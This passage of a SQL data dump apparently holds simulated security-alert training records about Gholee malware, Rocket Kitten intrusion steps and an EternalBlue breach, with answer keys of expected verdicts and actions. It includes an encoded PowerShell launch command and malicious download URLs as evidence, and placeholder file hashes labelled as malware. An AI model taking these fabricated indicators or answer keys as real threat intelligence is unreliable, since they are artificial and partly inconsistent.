3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.114Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:45Z\\\",\\\"platform\\\":\\\"Facebook\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"profile_name\\\":\\\"Jane Smith\\\",\\\"profile_id\\\":\\\"fb123456789\\\",\\\"profile_url\\\":\\\"https://facebook.com/fb123456789\\\",\\\"message_content\\\":\\\"Hi, I\'m a professional in aerospace technology and would love to connect.\\\",\\\"internal_review\\\":\\\"Profile created 2 days ago, minimal activity, no verified connections.\\\",\\\"connection_status\\\":\\\"Pending\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(502, 'Malicious Direct Message Sent to Employee', 'high', 'Email Security Gateway', 'An attacker, after gaining the trust of an employee, sent a direct message with a malicious attachment disguised as a legitimate document. The attachment is designed to deliver the \'Gholee\' malware payload.', 'Phishing', 'T1566.001: Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"email_id\":\"abc123xyz\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"employee@company.com\",\"subject\":\"Industry Report Update\",\"attachment\":\"industry_report_update.docx\",\"attachment_hash\":\"e5d8870e5bdd26602cab8f9d5c8a5f87\",\"malware_name\":\"Gholee\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"url\":\"http://maliciousdomain.com/download\",\"indicator_of_compromise\":[\"attacker@maliciousdomain.com\",\"e5d8870e5bdd26602cab8f9d5c8a5f87\",\"203.0.113.45\",\"http://maliciousdomain.com/download\"]}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e5d8870e5bdd26602cab8f9d5c8a5f87\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as \'Gholee\' malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Malicious download link.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Direct Message Sent to Employee\",\"date\":\"2026-02-01T20:32:19.116Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(503, 'Execution of \'Gholee\' Malware Detected', 'high', 'Endpoint Detection and Response (EDR)', 'The execution of \'Gholee\' malware was detected on an endpoint following the opening of a malicious email attachment by an unsuspecting employee. This event signifies a potential compromise of the network with the likelihood of attackers establishing an initial foothold.', 'Malware Execution', 'T1204.002: User Execution: Malicious File', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:21:32Z\",\"event_id\":\"EDR-20231015-00123\",\"hostname\":\"workstation-12\",\"user\":\"jdoe\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.5\",\"file_name\":\"invoice_2023.pdf.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_id\":5678,\"parent_process\":\"explorer.exe\",\"action\":\"execute\",\"signature\":\"Gholee Malware\",\"severity\":\"high\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash of the executed \'Gholee\' malware file.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_2023.pdf.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious filename commonly used in phishing attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account of the employee who executed the malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(504, 'Establishment of Persistence Mechanisms', 'high', 'Log Analysis', 'The \'Gholee\' malware has been observed implementing various persistence techniques to maintain its foothold on the compromised system. Evidence of suspicious modifications to registry keys and the creation of new scheduled tasks were noted, indicating the attacker\'s attempt to remain undetected.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T03:45:12Z\",\"event_id\":\"4624\",\"source_ip\":\"172.16.254.1\",\"destination_ip\":\"10.0.0.25\",\"username\":\"compromised_user\",\"registry_change\":{\"key_path\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"GholeeUpdater\",\"value_data\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Roaming\\\\Gholee\\\\gholee_updater.exe\"},\"scheduled_task\":{\"name\":\"Gholee Persistence Task\",\"task_file\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\Gholee\\\\task.xml\",\"creator_user\":\"compromised_user\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"external_ip\":\"198.51.100.14\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with \'Gholee\' malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actors.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"gholee_updater.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file used for malware persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"172.16.254.1\\\",\\\"destination_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"GholeeUpdater\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Gholee\\\\\\\\gholee_updater.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"Gholee Persistence Task\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\Gholee\\\\\\\\task.xml\\\",\\\"creator_user\\\":\\\"compromised_user\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"external_ip\\\":\\\"198.51.100.14\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(505, 'Lateral Movement Detected Across Network', 'high', 'Network Traffic Analysis', 'With persistence established, Rocket Kitten moves laterally, probing for additional systems to compromise within the aerospace firm\'s network.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:30Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.20.30.40\",\"attacker_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"RocketKittenTool.exe\",\"event\":\"Lateral Movement Detected\",\"protocol\":\"SMB\",\"description\":\"Suspicious SMB traffic detected from 192.168.1.100 to 10.20.30.40 using compromised credentials.\",\"malware_family\":\"Rocket Kitten\",\"action_taken\":\"Traffic flagged for further analysis\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Rocket Kitten APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Rocket Kitten tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"RocketKittenTool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repository\",\"verdict\":\"malicious\",\"details\":\"File associated with Rocket Kitten operations.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_database\",\"verdict\":\"suspicious\",\"details\":\"User\'s credentials were used in a suspicious manner.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(506, 'Data Exfiltration Attempt Identified', 'high', 'Data Loss Prevention (DLP)', 'During the final stage of the operation, Rocket Kitten attempted to exfiltrate sensitive aerospace data to external servers. This activity was detected by the DLP system, indicating a high likelihood of data theft.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"DLP-EXFIL-20231015-001\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"detected_file\":\"aerospace_project_plan.pdf\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"protocol\":\"HTTPS\",\"action_taken\":\"Blocked\",\"alert_severity\":\"High\"}', '2026-01-06 01:24:23', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Rocket Kitten\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"aerospace_project_plan.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP System\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document targeted for exfiltration\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this hash\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR Database\",\"verdict\":\"internal\",\"details\":\"Employee account used in exfiltration attempt\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"detected_file\\\":\\\"aerospace_project_plan.pdf\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"alert_severity\\\":\\\"High\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(507, 'Initial Breach Detected via EternalBlue', 'critical', 'Network Intrusion Detection System (NIDS)', 'An advanced attack was detected leveraging the EternalBlue vulnerability to gain unauthorized access to vulnerable systems within the network. The attacker initiated the breach from a known malicious IP address, targeting internal IP addresses, and executed a payload associated with the exploit.', 'Vulnerability Exploitation', 'T1210 - Exploitation of Remote Services', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T07:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"event_type\":\"exploit_attempt\",\"vulnerability\":\"EternalBlue\",\"payload_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"detected_by\":\"NIDS\",\"filename\":\"exploit.dll\",\"username\":\"unknown\"}', '2026-01-06 01:34:24', '2026-02-16 18:19:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with EternalBlue payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exploit.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in exploit attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
